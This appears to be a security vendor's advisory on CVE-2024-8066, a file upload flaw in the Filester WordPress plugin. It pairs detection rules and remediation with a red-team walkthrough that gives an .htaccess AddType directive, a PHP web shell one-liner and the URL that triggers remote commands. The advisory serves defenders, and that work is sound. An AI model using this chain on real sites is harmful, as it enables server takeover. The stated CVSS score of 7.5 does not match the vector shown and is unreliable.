CVE-2024-8066

Executive Summary

CVE-2024-8066 is a critical arbitrary file upload vulnerability in the Filester WordPress plugin (File Manager Pro). The flaw resides in the fsConnector function, which lacks proper validation of uploaded file types. An authenticated attacker with Subscriber-level access or above, who has been granted file management permissions by an Administrator, can upload a malicious .htaccess file. This action bypasses standard WordPress upload restrictions, allowing the attacker to subsequently upload arbitrary files (e.g., PHP web shells) and achieve remote code execution (RCE) on the affected server.

This vulnerability is particularly dangerous because it requires only low-privileged authentication and leverages a common WordPress plugin feature. The CVSS score of 7.5 reflects the high impact on confidentiality, integrity, and availability, though the attack complexity is low and privileges required are low.

Supply Chain & Package Security

This vulnerability affects the Filester WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the WordPress ecosystem and is typically installed via the WordPress admin dashboard or by uploading the plugin ZIP file. The supply chain risk is moderate: if an administrator installs a vulnerable version (<= 1.8.6), any authenticated user with granted permissions can exploit the flaw. There is no known malicious package injection, but the lack of a patch increases the risk of widespread exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – The attacker needs Subscriber-level access or above, which is easily obtained in many WordPress installations.
• User Interaction (UI): None – No user action is required beyond the attacker’s own actions.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Full file system access and potential data exfiltration.
• Integrity (I): High – Arbitrary file uploads can modify site content and inject malicious code.
• Availability (A): High – An attacker could delete or overwrite critical files, causing denial of service.

Threat Level: Critical. The combination of low privileges, no user interaction, and the ability to achieve RCE makes this a high-priority vulnerability for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability exists in the fsConnector function of the Filester plugin. This function is responsible for handling file system operations, including file uploads. The core issue is a missing file type validation: the function does not check the extension or MIME type of uploaded files before saving them to the server.

Attack Flow:

1. Prerequisite: An administrator must grant file management permissions to a user role (e.g., Subscriber). This is a legitimate configuration in Filester.
2. Authentication: The attacker logs in as a Subscriber (or higher) with these permissions.
3. Upload .htaccess: The attacker uses the plugin’s file manager interface to upload a malicious .htaccess file to a directory where PHP execution is allowed (e.g., /wp-content/uploads/). The .htaccess file contains directives like AddType application/x-httpd-php .txt or SetHandler application/x-httpd-php.
4. Bypass Restrictions: The .htaccess file overrides the server’s default configuration, allowing .txt or other arbitrary extensions to be executed as PHP.
5. Upload Web Shell: The attacker then uploads a file with a .txt extension containing PHP code (e.g., <?php system($_GET['cmd']); ?>).
6. Remote Code Execution: The attacker accesses the uploaded file via the web server, which now executes it as PHP, granting a web shell.

Why .htaccess? The .htaccess file is a per-directory Apache configuration file. By uploading a custom .htaccess, the attacker can change how the server handles file types in that directory, effectively bypassing the plugin’s upload restrictions.

Affected Component: The fsConnector function in the Filester plugin (versions <= 1.8.6). The function is likely part of the plugin’s AJAX handler for file operations.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

function fsConnector() {
    // ... authentication and permission checks ...
    $file = $_FILES['file'];
    $destination = WP_CONTENT_DIR . '/uploads/' . $file['name'];
    move_uploaded_file($file['tmp_name'], $destination);
    // No file type validation
}

Expected Patched Code:

function fsConnector() {
    // ... authentication and permission checks ...
    $file = $_FILES['file'];
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx');
    $file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (!in_array(strtolower($file_extension), $allowed_extensions)) {
        wp_die('File type not allowed.');
    }
    // Also block .htaccess files explicitly
    if (strtolower($file['name']) === '.htaccess') {
        wp_die('Uploading .htaccess files is not allowed.');
    }
    $destination = WP_CONTENT_DIR . '/uploads/' . $file['name'];
    move_uploaded_file($file['tmp_name'], $destination);
}

The fix should include:

• Whitelist of allowed file extensions.
• Explicit blocking of .htaccess and other configuration files.
• MIME type validation as a secondary check.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Filester plugin version <= 1.8.6.
• A user account with Subscriber role (or higher) that has been granted file management permissions by an administrator.
• Access to the WordPress admin dashboard or the plugin’s frontend file manager.

Exploitation Steps:

1. Login as the low-privileged user.
2. Navigate to the Filester file manager interface.
3. Upload a malicious .htaccess file to a writable directory (e.g., /wp-content/uploads/). The file content:

   AddType application/x-httpd-php .txt
   

   This tells Apache to treat .txt files as PHP scripts.
4. Upload a PHP web shell with a .txt extension. Example content:

   <?php system($_GET['cmd']); ?>
   

   Save it as shell.txt.
5. Access the web shell via the browser:

   http://target.com/wp-content/uploads/shell.txt?cmd=id
   

   The server will execute the PHP code and return the output of the id command.

Alternative Payload: If the server uses Nginx, the .htaccess file may not work. In that case, the attacker could attempt to upload a PHP file directly if the plugin’s validation is weak, but the primary vector is .htaccess manipulation.

Blue Team

Detection Steps:

1. Monitor File Uploads: Look for uploads of .htaccess files in directories like /wp-content/uploads/. Use file integrity monitoring (FIM) tools.
2. Check for Unusual File Extensions: Scan for files with extensions like .txt, .data, or .php in upload directories that were not expected.
3. Review Apache Logs: Look for requests to .txt files that return PHP execution (e.g., shell.txt?cmd=).
4. Audit User Permissions: Ensure that only trusted users have file management permissions. Subscriber-level users should not have such permissions unless absolutely necessary.
5. Disable .htaccess Overrides: If possible, set AllowOverride None in the Apache configuration for upload directories to prevent .htaccess files from being processed.

Lab Setup:

• Use a local WordPress installation with Docker or XAMPP.
• Install Filester plugin version 1.8.6.
• Create a Subscriber user and grant file management permissions via the plugin settings.
• Perform the exploitation steps above to verify the vulnerability.

Indicators of Compromise (IOCs)

• File System:

  • Presence of a .htaccess file in /wp-content/uploads/ or other writable directories with unusual directives (e.g., AddType application/x-httpd-php .txt).
  • Unexpected .txt files in upload directories containing PHP code.
  • New files with executable extensions (.php, .phtml, .php5) in directories where they were not expected.

• Network:

  • HTTP requests to /wp-content/uploads/*.txt?cmd= or similar patterns.
  • Outbound connections from the web server to unknown IP addresses (if the web shell is used for data exfiltration).

• Logs:

  • Apache access logs showing requests to .txt files with query parameters (e.g., cmd, exec).
  • WordPress debug logs showing errors related to file uploads or the fsConnector function.

Detection Engineering

YARA Rule

rule CVE_2024_8066_htaccess_upload {
    meta:
        description = "Detects malicious .htaccess files uploaded via Filester plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8066"
    strings:
        $htaccess = ".htaccess"
        $addtype = "AddType" nocase
        $sethandler = "SetHandler" nocase
        $php = "php" nocase
    condition:
        $htaccess and ($addtype or $sethandler) and $php
}

Sigma Rule

title: CVE-2024-8066 - Filester Plugin Arbitrary File Upload
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects upload of .htaccess files to WordPress upload directories, indicating exploitation of CVE-2024-8066
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.htaccess'
        TargetFilename|contains: '/wp-content/uploads/'
    condition: selection
falsepositives:
    - Legitimate .htaccess files uploaded by administrators (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8066 - Filester Plugin .htaccess Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-content/plugins/filester/"; http_uri; content:".htaccess"; file_data; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Filester plugin until a patch is released. If the plugin is essential, restrict file management permissions to only trusted administrators.
2. Remove any uploaded .htaccess files from upload directories and revert any changes they made.
3. Scan for web shells in /wp-content/uploads/ and other writable directories. Look for files with unusual extensions or PHP code.

Long-term Mitigations:

1. Apply the patch when it becomes available from the vendor (Filester). Monitor the plugin’s update channel.
2. Implement a Web Application Firewall (WAF) with rules to block uploads of .htaccess files and requests to files with suspicious extensions.
3. Harden the server:
   • Set AllowOverride None for upload directories in Apache configuration.
   • Disable PHP execution in upload directories via .htaccess or server config (e.g., php_flag engine off).
4. Principle of Least Privilege: Do not grant file management permissions to low-privileged users (Subscriber, Contributor). Only administrators should have such access.
5. Regular Audits: Periodically review user roles and permissions, and monitor file changes in sensitive directories.

Workaround: If the plugin cannot be disabled, consider using a security plugin like Wordfence to block file uploads with dangerous extensions.

Valters IT
Securing Digital Frontiers